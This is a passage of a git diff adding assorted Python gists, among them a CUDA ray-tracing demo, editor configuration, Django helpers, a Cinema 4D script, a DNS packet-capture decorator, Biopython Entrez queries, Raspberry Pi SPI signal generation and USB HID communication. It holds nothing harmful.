+    # choose a grid of (DIM/16. DIM/16) blocks, each with (16, 16) threads
+    grids = (DIM/16, DIM/16)
+    threads = (16, 16)
+
+    # Execute the kernel
+    kernel[grids, threads](d_spheres, d_bitmap)
+    kernel_dt = timer() - start
+
+    # Copy the result from the kernel ordering the ray tracing back to host
+    bitmap = d_bitmap.copy_to_host()
+    mem_dt = timer() - start
+
+    print "Elapsed time in"
+    print "          kernel:  {:3.1f} µs".format(kernel_dt*1e6) 
+    print "    device->host:  {:3.1f} ms".format(mem_dt*1e3) 
+
+    # Visualize the resulting scene. We'll do this with two side-by-side plots:
+    #    Left -> the scene rendered in psuedo-3D, accounting for sphere placement
+    #   Right -> flat circle projections of spheres, in z-order looking down
+    
+    fig, axs = plt.subplots(1, 2, figsize=(12,6))
+
+    bitmap = np.transpose(bitmap/255., (1, 0, 2)) # swap image's x-y axes
+    axs[0].imshow(bitmap)
+    axs[0].grid(False)
+
+    # sort the spheres by Z for visualizing z-level order, plot using circle artists
+    temp_spheres.sort(order='radius')
+    for i in xrange(SPHERES):
+        sph = temp_spheres[-i] # temp_spheres is actually backwards!
+        circ = plt.Circle((sph['x']+DIM/2, sph['y']+DIM/2), sph['radius'],
+                          color=(sph['r'], sph['g'], sph['b']))
+        axs[1].add_artist(circ)
+    
+    for ax in axs:
+        ax.set_xlim(0, DIM)
+        ax.set_ylim(0, DIM)
+
+    plt.show()
diff --git a/hard-gists/f551b2b6fd4d6b6e1ef2/._snippet.py b/hard-gists/f551b2b6fd4d6b6e1ef2/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/f551b2b6fd4d6b6e1ef2/._snippet.py differ
diff --git a/hard-gists/f551b2b6fd4d6b6e1ef2/snippet.py b/hard-gists/f551b2b6fd4d6b6e1ef2/snippet.py
new file mode 100644
index 00000000..56069530
--- /dev/null
+++ b/hard-gists/f551b2b6fd4d6b6e1ef2/snippet.py
@@ -0,0 +1,184 @@
+"""
+YouCompleteMe extra configuration for Platformio based
+projects.
+
+Based on the `.ycm_extra_conf.py` by @ladislas in his Bare-Arduino-Project.
+
+Anthony Ford <github.com/ajford>
+
+"""
+import os
+import ycm_core
+import logging
+
+# Logger for additional logging.
+# To enable debug logging, add `let g:ycm_server_log_level = 'debug'` to
+# your .vimrc file.
+logger = logging.getLogger('ycm-extra-conf')
+
+# Platformio Autogen libs.
+## Platformio automatically copies over the libs you use after your first run.
+## Be warned that you will not receive autocompletion on libraries until after
+## your first `platformio run`.
+PlatformioAutogen = ".pioenvs/"
+
+# All Platformio Arduin Libs
+## This will link directly to the Platformio Libs for Arduino.
+## Be warned that this can polute your namespace (in #include)
+## and slightly increase startup time (while crawling the lib
+## dir for header files). This will however allow you to
+## complete for header files you haven't included yet.
+PlatformioArduinoLibs = "~/.platformio/packages/framework-arduinoavr/libraries/"
+
+# Platformio Arduino Core
+## This links to the Platformio Arduino Cores. This provides 
+## the core libs, such as Arduino.h and HardwareSerial.h
+PlatformioArduinoCore = "~/.platformio/packages/framework-arduinoavr/cores/arduino/"
+
+# Platformio Arduino Std Libs
+## Arduino Std libs from .platformio packages. Provides stdlib.h and such.
+PlatformioArduinoSTD = '~/.platformio/packages/toolchain-atmelavr/avr/include'
+
+# This is the list of all directories to search for header files.
+# Dirs in this list can be paths relative to this file, absolute
+# paths, or paths relative to the user (using ~/path/to/file).
+libDirs = [
+           "lib"
+           ,PlatformioAutogen
+           ,PlatformioArduinoCore
+           ,PlatformioArduinoLibs
+           ,PlatformioArduinoSTD
+           ]
+
+flags = [
+    # General flags
+    '-Wall'
+    ,'-x'
+    ,'c++'
+    ,'-ansi'
+
+    # Customize microcontroler and Arduino version
+    ,'-mmcu=atmega328p'
+    ,'-DF_CPU=16000000L'
+    ,'-DARDUINO_ARCH_AVR'
+    ,'-DARDUINO_AVR_DUEMILANOVE'
+    ,'-DARDUINO=106000'
+    # ,'-MMD -DUSB_VID=null'
+    # ,'-DUSB_PID=null'
+]
+
+
+compilation_database_folder = ''
+
+if os.path.exists( compilation_database_folder ):
+    database = ycm_core.CompilationDatabase( compilation_database_folder )
+else:
+    database = None
+
+SOURCE_EXTENSIONS = [ '.cpp', '.cxx', '.cc', '.c', '.ino', '.m', '.mm' ]
+
+def DirectoryOfThisScript():
+    return os.path.dirname( os.path.abspath( __file__ ) )
+
+def MakeRelativePathsInFlagsAbsolute( flags, working_directory ):
+    if not working_directory:
+        return list( flags )
+
+    new_flags = []
+    make_next_absolute = False
+    path_flags = [ '-isystem', '-I', '-iquote', '--sysroot=' ]
+
+    for libDir in libDirs:
+
+        # dir is relative to $HOME
+        if libDir.startswith('~'):
+            libDir = os.path.expanduser(libDir)
+
+        # dir is relative to `working_directory`
+        if not libDir.startswith('/'):
+            libDir = os.path.join(working_directory,libDir)
+
+        # Else, assume dir is absolute
+
+        for path, dirs, files in os.walk(libDir):
+            # Add to flags if dir contains a header file and is not
+            # one of the metadata dirs (examples and extras). 
+            if any(IsHeaderFile(x) for x in files) and\
+              path.find("examples") is -1 and path.find("extras") is -1:
+                logger.debug("Directory contains header files - %s"%path)
+                flags.append('-I'+path)
+
+
+    for flag in flags:
+        new_flag = flag
+
+        if make_next_absolute:
+            make_next_absolute = False
+            if not flag.startswith( '/' ):
+                new_flag = os.path.join( working_directory, flag )
+
+        for path_flag in path_flags:
+            if flag == path_flag:
+                make_next_absolute = True
+                break
+
+            if flag.startswith( path_flag ):
+                path = flag[ len( path_flag ): ]
+                new_flag = path_flag + os.path.join( working_directory, path )
+                break
+
+        if new_flag:
+            new_flags.append( new_flag )
+    return new_flags
+
+
+def IsHeaderFile( filename ):
+    extension = os.path.splitext( filename )[ 1 ]
+    return extension in [ '.h', '.hxx', '.hpp', '.hh' ]
+
+
+def GetCompilationInfoForFile( filename ):
+    # The compilation_commands.json file generated by CMake does not have entries
+    # for header files. So we do our best by asking the db for flags for a
+    # corresponding source file, if any. If one exists, the flags for that file
+    # should be good enough.
+    if IsHeaderFile( filename ):
+        basename = os.path.splitext( filename )[ 0 ]
+        for extension in SOURCE_EXTENSIONS:
+            replacement_file = basename + extension
+            if os.path.exists( replacement_file ):
+                compilation_info = database.GetCompilationInfoForFile(
+                    replacement_file )
+                if compilation_info.compiler_flags_:
+                    return compilation_info
+        return None
+    return database.GetCompilationInfoForFile( filename )
+
+
+def FlagsForFile( filename, **kwargs ):
+    if database:
+        # Bear in mind that compilation_info.compiler_flags_ does NOT return a
+        # python list, but a "list-like" StringVec object
+        compilation_info = GetCompilationInfoForFile( filename )
+        if not compilation_info:
+            return None
+
+        final_flags = MakeRelativePathsInFlagsAbsolute(
+            compilation_info.compiler_flags_,
+            compilation_info.compiler_working_dir_ )
+
+        # NOTE: This is just for YouCompleteMe. it's highly likely that your project
+        # does NOT need to remove the stdlib flag. DO NOT USE THIS IN YOUR
+        # ycm_extra_conf IF YOU'RE NOT 100% SURE YOU NEED IT.
+        #try:
+        #    final_flags.remove( '-stdlib=libc++' )
+        #except ValueError:
+        #    pass
+    else:
+        relative_to = DirectoryOfThisScript()
+        final_flags = MakeRelativePathsInFlagsAbsolute( flags, relative_to )
+
+    return {
+        'flags': final_flags,
+        'do_cache': True
+    }
\ No newline at end of file
diff --git a/hard-gists/f55c4ce19598b2b345ef/._snippet.py b/hard-gists/f55c4ce19598b2b345ef/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/f55c4ce19598b2b345ef/._snippet.py differ
diff --git a/hard-gists/f55c4ce19598b2b345ef/snippet.py b/hard-gists/f55c4ce19598b2b345ef/snippet.py
new file mode 100644
index 00000000..e79a8cf5
--- /dev/null
+++ b/hard-gists/f55c4ce19598b2b345ef/snippet.py
@@ -0,0 +1,28 @@
+from django import forms
+from django.contrib.postgres.fields import ArrayField
+
+
+class ChoiceArrayField(ArrayField):
+    """
+    A field that allows us to store an array of choices.
+    
+    Uses Django 1.9's postgres ArrayField
+    and a MultipleChoiceField for its formfield.
+    
+    Usage:
+        
+        choices = ChoiceArrayField(models.CharField(max_length=...,
+                                                    choices=(...,)),
+                                   default=[...])
+    """
+
+    def formfield(self, **kwargs):
+        defaults = {
+            'form_class': forms.MultipleChoiceField,
+            'choices': self.base_field.choices,
+        }
+        defaults.update(kwargs)
+        # Skip our parent's formfield implementation completely as we don't
+        # care for it.
+        # pylint:disable=bad-super-call
+        return super(ArrayField, self).formfield(**defaults)
diff --git a/hard-gists/f5b0d13b0bb3e4ac0572/._snippet.py b/hard-gists/f5b0d13b0bb3e4ac0572/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/f5b0d13b0bb3e4ac0572/._snippet.py differ
diff --git a/hard-gists/f5b0d13b0bb3e4ac0572/Dockerfile-llm-3.8 b/hard-gists/f5b0d13b0bb3e4ac0572/Dockerfile-llm-3.8
new file mode 100644
index 00000000..a66f8c83
--- /dev/null
+++ b/hard-gists/f5b0d13b0bb3e4ac0572/Dockerfile-llm-3.8
@@ -0,0 +1,11 @@
+# FROM is the found expected Python version
+FROM python:3.8
+# Set the working directory to /app
+WORKDIR /app
+# Add install commands for all of the python modules
+RUN ["pip","install","--upgrade","pip"]
+RUN ["pip","install","--trusted-host","pypi.python.org","--default-timeout=100","c4ddev==1.7.2"]
+# Copy the specified directory to /app
+COPY snippet.py /app
+# Run the specified python file
+CMD ["python", "/app/snippet.py"]
\ No newline at end of file
diff --git a/hard-gists/f5b0d13b0bb3e4ac0572/modules/c4ddev_3.8.txt b/hard-gists/f5b0d13b0bb3e4ac0572/modules/c4ddev_3.8.txt
new file mode 100644
index 00000000..a5e2b758
--- /dev/null
+++ b/hard-gists/f5b0d13b0bb3e4ac0572/modules/c4ddev_3.8.txt
@@ -0,0 +1 @@
+1.7.1, 1.7.2
\ No newline at end of file
diff --git a/hard-gists/f5b0d13b0bb3e4ac0572/snippet.py b/hard-gists/f5b0d13b0bb3e4ac0572/snippet.py
new file mode 100644
index 00000000..951520a7
--- /dev/null
+++ b/hard-gists/f5b0d13b0bb3e4ac0572/snippet.py
@@ -0,0 +1,98 @@
+# Isolate selection
+
+import c4d
+import c4d.gui as gui
+import urllib
+import datetime
+import platform
+import traceback
+import contextlib
+import webbrowser
+
+REPORT_SUBJ = "Error report for C4D Isolate Script"
+REPORT_ADDR = "support@provider.com"
+LAYER = "ISOLATE"
+SELECT_CHILDREN = 16388
+SOLO = 100004726
+CAMERA = 5103
+assert c4d.GetCommandName(SELECT_CHILDREN) == "Select Children"
+assert c4d.GetCommandName(SOLO) == "Solo"
+
+@contextlib.contextmanager
+def report():
+    err = None
+    try:
+        yield
+    except Exception:
+        if gui.QuestionDialog("There was an error running the script. Would you like to send a brief report?"):
+            # Generate Report
+            webbrowser.open("mailto:{email}?subject={subject}&body={body}".format(
+                email=REPORT_ADDR,
+                subject=urllib.quote(REPORT_SUBJ),
+                body=urllib.quote("\n".join((
+                    str(datetime.datetime.now()),
+                    platform.platform(),
+                    __file__,
+                    traceback.format_exc()
+                )))
+            ))
+        raise
+
+def solo_layer(layer, state):
+    layer_data = layer.GetLayerData(doc)
+    layer_data["solo"] = state
+    layer.SetLayerData(doc, layer_data)
+    c4d.CallButton(layer, SOLO) # Solo Layer
+    c4d.EventAdd()
+
+def walk(objs):
+    for o in objs:
+        yield o
+        for child in walk(o.GetChildren()):
+            yield child
+
+def main():
+    doc = c4d.documents.GetActiveDocument()
+    layer_root = doc.GetLayerObjectRoot()
+
+    for layer in layer_root.GetChildren(): # Ensure layer is there
+        if layer.GetName() == LAYER:
+            solo_layer(layer, False)
+            layer.Remove()
+            c4d.EventAdd()
+            break
+
+    selection = doc.GetActiveObjects(c4d.GETACTIVEOBJECTFLAGS_CHILDREN)
+
+    if selection:
+        doc.StartUndo()
+        try:
+            # Create Layer
+            layer = c4d.documents.LayerObject()
+            layer.SetName(LAYER)
+            layer.InsertUnder(layer_root)
+            solo_layer(layer, True)
+
+            # Grab children
+            c4d.CallCommand(SELECT_CHILDREN)
+            tmp_selection = doc.GetActiveObjects(c4d.GETACTIVEOBJECTFLAGS_CHILDREN)
+
+            # Add children to layer
+            for sel in tmp_selection:
+                sel[c4d.ID_LAYER_LINK] = layer
+
+            # Add cameras to layer
+            for cam in (cam for cam in walk(doc.GetObjects()) if cam.CheckType(CAMERA)):
+                cam[c4d.ID_LAYER_LINK] = layer
+
+            # Reinstate selection
+            doc.SetActiveObject(selection.pop(), c4d.SELECTION_NEW)
+            for obj in selection:
+                doc.SetActiveObject(obj, c4d.SELECTION_ADD)
+            c4d.EventAdd()
+        finally:
+            doc.EndUndo()
+
+if __name__ == '__main__':
+    with report():
+        main()
diff --git a/hard-gists/f5e40e52de480e53a243fa15af536a8e/._snippet.py b/hard-gists/f5e40e52de480e53a243fa15af536a8e/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/f5e40e52de480e53a243fa15af536a8e/._snippet.py differ
diff --git a/hard-gists/f5e40e52de480e53a243fa15af536a8e/snippet.py b/hard-gists/f5e40e52de480e53a243fa15af536a8e/snippet.py
new file mode 100644
index 00000000..00377b7e
--- /dev/null
+++ b/hard-gists/f5e40e52de480e53a243fa15af536a8e/snippet.py
@@ -0,0 +1,66 @@
+import uuid
+
+import psycopg2
+from django.conf import settings
+from django.db.backends import utils
+from django.db.backends.postgresql.base import \
+    DatabaseWrapper as PostgresqlDatabaseWrapper
+from django.db.backends.postgresql.base import *
+
+
+class server_side_cursors(object):
+    """
+    With block helper that enables and disables server side cursors.
+    """
+
+    def __init__(self, qs_or_using_or_connection, itersize=2000):
+        from django.db import connections
+        from django.db.models.query import QuerySet
+
+        self.itersize = itersize
+        if isinstance(qs_or_using_or_connection, QuerySet):
+            self.connection = connections[qs_or_using_or_connection.db]
+        elif isinstance(qs_or_using_or_connection, basestring):
+            self.connection = connections[qs_or_using_or_connection]
+        else:
+            self.connection = qs_or_using_or_connection
+
+    def __enter__(self):
+        self.connection.server_side_cursors = True
+        self.connection.server_side_cursor_itersize = self.itersize
+
+    def __exit__(self, type, value, traceback):
+        self.connection.server_side_cursors = False
+        self.connection.server_side_cursor_itersize = None
+
+
+class DatabaseWrapper(PostgresqlDatabaseWrapper):
+    """
+    Psycopg2 database backend that allows the use of server side cursors.
+
+    Usage:
+
+    qs = Model.objects.all()
+    with server_side_cursors(qs, itersize=x):
+        for item in qs.iterator():
+            item.value
+    """
+
+    def __init__(self, *args, **kwargs):
+        self.server_side_cursors = False
+        self.server_side_cursor_itersize = None
+
+        super(DatabaseWrapper, self).__init__(*args, **kwargs)
+
+    def create_cursor(self):
+        if not self.server_side_cursors:
+            return super(DatabaseWrapper, self).create_cursor()
+
+        cursor = self.connection.cursor(
+            name='db.backends.postgresql_cursors:{}'.format(
+                uuid.uuid4().hex),
+            cursor_factory=psycopg2.extras.DictCursor, )
+        cursor.tzinfo_factory = utc_tzinfo_factory if settings.USE_TZ else None
+        cursor.itersize = self.server_side_cursor_itersize
+
+        return cursor
diff --git a/hard-gists/f66cb485a3f3353402a5/._snippet.py b/hard-gists/f66cb485a3f3353402a5/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/f66cb485a3f3353402a5/._snippet.py differ
diff --git a/hard-gists/f66cb485a3f3353402a5/snippet.py b/hard-gists/f66cb485a3f3353402a5/snippet.py
new file mode 100644
index 00000000..c15715fb
--- /dev/null
+++ b/hard-gists/f66cb485a3f3353402a5/snippet.py
@@ -0,0 +1,41 @@
+#!/usr/bin/env python
+# -*- coding: utf-8 -*-
+
+import urllib2
+import pcap #requires the python-libpcap module
+
+def libpcap_net_data(cap_file, net_iface, filter_expr=None):
+    """A decorator that can be used to sniff network data for the duration of a function call
+    if there is heavy traffic on the network interface the captured data will contain spurious packets
+    not related to the function call
+    
+    cap_file is the pcap filename where the captured data will be writtend
+    net_iface is the network interface to sniff
+    filter_expr is an optional filter expression: `man pcap-filter` for more info"""
+    def _libpcap_net_data(func):
+        def wrap(*args, **kwargs):
+            #Start a libpcap object
+            print "Start libpcap listen on %s writing to %s" % (net_iface, cap_file)
+            p = pcap.pcapObject()
+            p.open_live(net_iface, 65535, 0, 100)
+            p.dump_open(cap_file)
+            if filter_expr is not None:
+                p.setfilter(filter_expr, 0, 0)
+            
+            res = func(*args,**kwargs)
+            #Stop the tcpdump subprocess
+            print "Stopping libpcap process on %s" % (cap_file,)
+            p.dispatch(0, None)
+            return res
+        return wrap
+    return _libpcap_net_data
+
+#This will sniff only dns info on wlan0 and write it to myPackets.cap file
+@libpcap_net_data('myPackets.cap','wlan0','port 53')
+def libpcap_do_request(url):
+    h1 = urllib2.urlopen(url).read()
+    return h1
+
+if __name__ == '__main__':
+    url = 'http://www.example.com'
+    res = libpcap_do_request(url)
\ No newline at end of file
diff --git a/hard-gists/f676b9bd2e6930dda95c/._snippet.py b/hard-gists/f676b9bd2e6930dda95c/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/f676b9bd2e6930dda95c/._snippet.py differ
diff --git a/hard-gists/f676b9bd2e6930dda95c/snippet.py b/hard-gists/f676b9bd2e6930dda95c/snippet.py
new file mode 100644
index 00000000..f9292b72
--- /dev/null
+++ b/hard-gists/f676b9bd2e6930dda95c/snippet.py
@@ -0,0 +1,67 @@
+#script to accompany https://www.biostars.org/p/64078/
+
+from Bio import Entrez
+Entrez.email = "A.N.Other@example.com"
+
+protein_accn_numbers = ["ABR17211.1", "XP_002864745.1", "AAT45004.1", "XP_003642916.1" ]
+protein_gi_numbers = []
+
+print "The Accession numbers for protein sequence provided:"
+print protein_accn_numbers
+
+#ESearch
+print "\nBeginning the ESearch..."
+# BE CAREFUL TO NOT ABUSE THE NCBI SYSTEM.
+# see http://biopython.org/DIST/docs/tutorial/Tutorial.html#sec119 for information.
+# For example, if searching with more than 100 records, you'd need to do this ESearch step
+# on weekends or outside USA peak times.
+for accn in protein_accn_numbers:
+    esearch_handle = Entrez.esearch(db="protein", term=accn)
+    esearch_result= Entrez.read(esearch_handle)
+    esearch_handle.close()
+    #print esearch_result
+    #print esearch_result["IdList"][0]
+    protein_gi_numbers.append(esearch_result["IdList"][0])
+#print protein_gi_numbers
+
+retrieved_mRNA_uids = []
+#ELink
+print "Beginning the ELink step..."
+handle = Entrez.elink(dbfrom="protein", db="nuccore", LinkName="protein_nuccore_mrna", id=protein_gi_numbers)
+result = Entrez.read(handle)
+handle.close()
+#print result
+for each_record in result:
+    mrna_id = each_record["LinkSetDb"][0]["Link"][0]["Id"]
+    retrieved_mRNA_uids.append(mrna_id)
+#print retrieved_mRNA_uids
+
+#EPost
+print "Beginning the EPost step..."
+epost_handle = Entrez.epost(db="nuccore", id=",".join(retrieved_mRNA_uids))
+epost_result = Entrez.read(epost_handle)
+epost_handle.close()
+
+webenv = epost_result["WebEnv"]
+query_key = epost_result["QueryKey"]
+
+#EFetch
+print "Beginning the EFetch step..."
+count = len(retrieved_mRNA_uids)
+batch_size = 20
+the_records = ""
+for start in range(0, count, batch_size):
+    end = min(count, start + batch_size)
+    print("Fetching records %i thru %i..." % (start + 1, end))
+    fetch_handle = Entrez.efetch(db="nuccore",
+                                 rettype="fasta", retmode="text",
+                                 retstart=start, retmax=batch_size,
+                                 webenv=webenv,
+                                 query_key=query_key)
+    data = fetch_handle.read()
+    fetch_handle.close()
+    the_records = the_records + data
+print the_records #for seeing how to save as file as get record blocks, see similar
+# example at line 101, found under 'Update: Searching for citations using ELink,
+# EPost and EFetch with history' of section '9.15.3 Searching for citations' ,
+# at http://nbviewer.ipython.org/github/gumption/Using_Biopython_Entrez/blob/master/Biopython_Tutorial_and_Cookbook_Chapter_9.ipynb
\ No newline at end of file
diff --git a/hard-gists/f6923957293620d6814052e0ccdf0ddf/._snippet.py b/hard-gists/f6923957293620d6814052e0ccdf0ddf/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/f6923957293620d6814052e0ccdf0ddf/._snippet.py differ
diff --git a/hard-gists/f6923957293620d6814052e0ccdf0ddf/snippet.py b/hard-gists/f6923957293620d6814052e0ccdf0ddf/snippet.py
new file mode 100644
index 00000000..f470e820
--- /dev/null
+++ b/hard-gists/f6923957293620d6814052e0ccdf0ddf/snippet.py
@@ -0,0 +1,141 @@
+from graphql.execution.executors.sync import SyncExecutor
+
+"""
+Usage example:
+
+    from functools import partial
+
+    class MyServiceCache(BulkRequestCache):
+        def __init__():
+            self.requested_values = set()
+            self.results = {}
+
+        def request_value(self, id):
+            self.requested_values.add(id)
+
+        def retrieve_value(self, id):
+            if id not in self.results:
+                self.request_value(id)
+                self.results = retrieve_expensive_values(self.requested_values)  # <-- Bulk request/process things here
+            return self.results.get(id)
+
+    def get_value_from_service(id):
+        MyServiceCache.get().request_value(id)
+        retrieve_value_fn = partial(MyServiceCache.get().retrieve_value, id)
+        return LazyPromise(retrieve_value_fn)
+
+    class Query(ObjectType):
+        expensive = graphene.String()
+        expensive_two = graphene.String()
+
+        @graphene.resolve_only_args
+        def resolve_expensive(self):
+            return get_value_from_service(1)
+
+        @graphene.resolve_only_args
+        def resolve_expensive_two(self):
+            return get_value_from_service(2)
+
+
+    schema = graphene.Schema(query=Query)
+    view = GraphQLView.as_view(schema=schema, executor=LazySyncExecutor(), middleware=[LazyExecutionMiddleware])
+
+"""
+
+_graphql_pre_finish = []
+_graphql_pre_execute = []
+
+
+class LazyExecutionMiddleware(object):
+    def resolve(self, next, root, args, context, info):
+        if root is None:
+            _graphql_pre_finish.clear()
+
+            while _graphql_pre_execute:
+                cb = _graphql_pre_execute.pop(0)
+                cb()
+        return next(root, args, context, info)
+
+
+class LazySyncExecutor(SyncExecutor):
+    def wait_until_finished(self):
+        for cb in _graphql_pre_finish:
+            cb()
+
+
+class LazyPromise:
+    def __init__(self, resolve_fn):
+        # resolve_fn is used to execute+retrieve the actual promise value
+        assert callable(resolve_fn), "Expected resolve_fn to be callable, received %s instead" % type(resolve_fn)
+        self.resolve_fn = resolve_fn
+
+        # Result of resolve_fn, once executed.
+        self.is_resolved = False
+        self.result = None
+        self.error = None
+
+        # Register do_resolve function in global list of lazy functions.
+        _graphql_pre_finish.append(self.do_resolve)
+
+        # List of callbacks registered via `then`. To be called after resolve_fn
+        self.success_callbacks = []
+        self.failure_callbacks = []
+
+    def then(self, success, failure):
+        if self.is_resolved:
+            if self.error:
+                failure(self.error)
+            else:
+                success(self.result)
+        else:
+            self.success_callbacks.append(success)
+            self.failure_callbacks.append(failure)
+
+    def do_resolve(self):
+        try:
+            self.result = self.resolve_fn()
+            [cb(self.result) for cb in self.success_callbacks]
+        except Exception as e:
+            self.error = e
+            [cb(self.error) for cb in self.failure_callbacks]
+        self.is_resolved = True
+
+
+class BulkRequestCache:
+    instance = None
+
+    @classmethod
+    def _reset(cls):
+        cls.instance = None
+
+    @classmethod
+    def get(cls, *args, **kwargs):
+        # When we create the first instance, register the clear function in global list of pre_execute functions.
+        if cls.instance is None:
+            _graphql_pre_execute.append(cls._reset)
+            cls.instance = cls(*args, **kwargs)
+        return cls.instance
+
+    def request_value(self, *args, **kwargs):
+        # Called to register the need for some data.
+        raise NotImplementedError
+
+    def retrieve_value(self, *args, **kwargs):
+        # Called to retrieve some data. If it's not available yet, it should be fetched now and the function should
+        # block until it's either available or a failure has occurred.
+        raise NotImplementedError
+
+
+class MultiBulkRequestCache(BulkRequestCache):
+    instances = {}
+
+    @classmethod
+    def get(cls, identifier, *args, **kwargs):
+        # When we create the first instance, register the clear function in global list of pre_execute functions.
+        if not cls.instances:
+            _graphql_pre_execute.append(cls.instances.clear)
+
+        # Get a cache for the given identifier. Every identifier has exactly one cache instance.
+        if identifier not in cls.instances:
+            cls.instances[identifier] = cls(identifier, *args, **kwargs)
+        return cls.instances[identifier]
diff --git a/hard-gists/f6df442d0250f265409c/._snippet.py b/hard-gists/f6df442d0250f265409c/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/f6df442d0250f265409c/._snippet.py differ
diff --git a/hard-gists/f6df442d0250f265409c/snippet.py b/hard-gists/f6df442d0250f265409c/snippet.py
new file mode 100644
index 00000000..c61c14c9
--- /dev/null
+++ b/hard-gists/f6df442d0250f265409c/snippet.py
@@ -0,0 +1,52 @@
+# This will generate a set of bytes to be send via RasPI's SPI interface
+# core_freq should be exactly 199
+# the SPI divider is 2
+# the resulting carrier will appear on 49.75MHz
+
+# Public Domain
+
+from PIL import Image
+from sys import argv, stdout
+
+SYNC = "0011" * 100
+BACKPORCH = "0001" * 200
+SYNC_L = ("10"*1492) + ("00"*92)
+SYNC_S = ("10"*92) + ("00"*1492)
+
+BLACK = "1000100010001000"
+WHITE = "1010101010101010"
+
+bits = ""
+
+if len(argv) != 2:
+	print "Usage: %s {imgfile} > outfile.bin"
+	exit(1)
+
+img = Image.open(argv[1])
+w, h = img.size
+
+if (w!=323) or (h!=152):
+	print "Invalid image size, should be 323x152"
+	img.close()
+	exit(1)
+
+pixels = img.load()
+
+bits += SYNC_L + SYNC_L + SYNC_L + SYNC_L + SYNC_L + \
+	 SYNC_S + SYNC_S + SYNC_S + SYNC_S + SYNC_S
+
+for x in xrange(w):
+	bits += SYNC + BACKPORCH
+	for i in xrange(8):
+		for y in xrange(h):
+			level = BLACK if (pixels[x, y][1] < 128) else WHITE
+			bits += (level*2)
+
+bits += SYNC_S + SYNC_S + \
+	SYNC_S + SYNC_S + \
+	SYNC_S + SYNC_S
+
+bits *= 8
+
+i = hex(int(bits, 2))[2:].replace("L", "").decode("hex")
+stdout.write(i)
\ No newline at end of file
diff --git a/hard-gists/f6effc4468cca6f4e8f0/._snippet.py b/hard-gists/f6effc4468cca6f4e8f0/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/f6effc4468cca6f4e8f0/._snippet.py differ
diff --git a/hard-gists/f6effc4468cca6f4e8f0/snippet.py b/hard-gists/f6effc4468cca6f4e8f0/snippet.py
new file mode 100644
index 00000000..cddf465e
--- /dev/null
+++ b/hard-gists/f6effc4468cca6f4e8f0/snippet.py
@@ -0,0 +1,57 @@
+#
+#Simple example on how to send and receive data to the Mbed over USB (on Linux) using pyUSB 1.0
+#
+import os
+import sys
+ 
+import usb.core
+import usb.util
+ 
+from time import sleep
+import random
+ 
+# handler called when a report is received
+def rx_handler(data):
+    print 'recv: ', data
+ 
+def findHIDDevice(mbed_vendor_id, mbed_product_id):
+    # Find device
+    hid_device = usb.core.find(idVendor=mbed_vendor_id,idProduct=mbed_product_id)
+    
+    if not hid_device:
+        print "No device connected"
+    else:
+        sys.stdout.write('mbed found\n')
+        if hid_device.is_kernel_driver_active(0):
+            try:
+                hid_device.detach_kernel_driver(0)
+            except usb.core.USBError as e:
+                sys.exit("Could not detatch kernel driver: %s" % str(e))
+        try:
+            hid_device.set_configuration()
+            hid_device.reset()
+        except usb.core.USBError as e:
+            sys.exit("Could not set configuration: %s" % str(e))
+        
+        endpoint = hid_device[0][(0,0)][0]      
+        
+        while True:
+            data = [0x0] * 16
+                        
+            #read the data
+            bytes = hid_device.read(endpoint.bEndpointAddress, 8)
+            rx_handler(bytes);
+            
+            for i in range(8):
+                data[i] = bytes[i]
+                data[i+8] = random.randint(0, 255)
+ 
+            hid_device.write(1, data)
+ 
+if __name__ == '__main__':
+    # The vendor ID and product ID used in the Mbed program
+    mbed_vendor_id = 0x1234 
+    mbed_product_id = 0x0006
+ 
+    # Search the Mbed, attach rx handler and send data
+    findHIDDevice(mbed_vendor_id, mbed_product_id)
\ No newline at end of file
diff --git a/hard-gists/f788cfd227cb94d0843235a2542026fd/._snippet.py b/hard-gists/f788cfd227cb94d0843235a2542026fd/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/f788cfd227cb94d0843235a2542026fd/._snippet.py differ
diff --git a/hard-gists/f788cfd227cb94d0843235a2542026fd/snippet.py b/hard-gists/f788cfd227cb94d0843235a2542026fd/snippet.py
new file mode 100644
index 00000000..4a99c6b7
--- /dev/null
+++ b/hard-gists/f788cfd227cb94d0843235a2542026fd/snippet.py
@@ -0,0 +1,64 @@
+# This small script shows how to use AllenNLP Semantic Role Labeling (http://allennlp.org/) with SpaCy 2.0 (http://spacy.io) components and extensions
+# Script installs allennlp default model
+# Important: Install allennlp form source and replace the spacy requirement with spacy-nightly in the requirements.txt
+# Developed for SpaCy 2.0.0a18
+
+from allennlp.commands import DEFAULT_MODELS
+from allennlp.common.file_utils import cached_path
+from allennlp.service.predictors import SemanticRoleLabelerPredictor
+from allennlp.models.archival import load_archive
+
+import spacy
+from spacy.tokens import Token
+
+class SRLComponent(object):
+    '''
+    A SpaCy pipeline component for SRL
+    '''
+    
+    name = 'Semantic Role Labeler'
+
+    def __init__(self):
+        archive = load_archive(self._get_srl_model())
+        self.predictor = SemanticRoleLabelerPredictor.from_archive(archive, "semantic-role-labeling")
+        Token.set_extension('srl_arg0')
+        Token.set_extension('srl_arg1')
+        
+    def __call__(self, doc):
+        # See https://github.com/allenai/allennlp/blob/master/allennlp/service/predictors/semantic_role_labeler.py#L74
+        words = [token.text for token in doc]
+        for i, word in enumerate(doc):
+            if word.pos_ == "VERB":
+                verb = word.text
+                verb_labels = [0 for _ in words]
+                verb_labels[i] = 1
+                instance = self.predictor._dataset_reader.text_to_instance(doc, verb_labels)
+                output = self.predictor._model.forward_on_instance(instance, -1)
+                tags = output['tags']
+
+                # TODO: Tagging/dependencies can be done more elegant 
+                if "B-ARG0" in tags:
+                    start = tags.index("B-ARG0")
+                    end = max([i for i, x in enumerate(tags) if x == "I-ARG0"] + [start]) + 1
+                    word._.set("srl_arg0", doc[start:end])
+
+                if "B-ARG1" in tags:
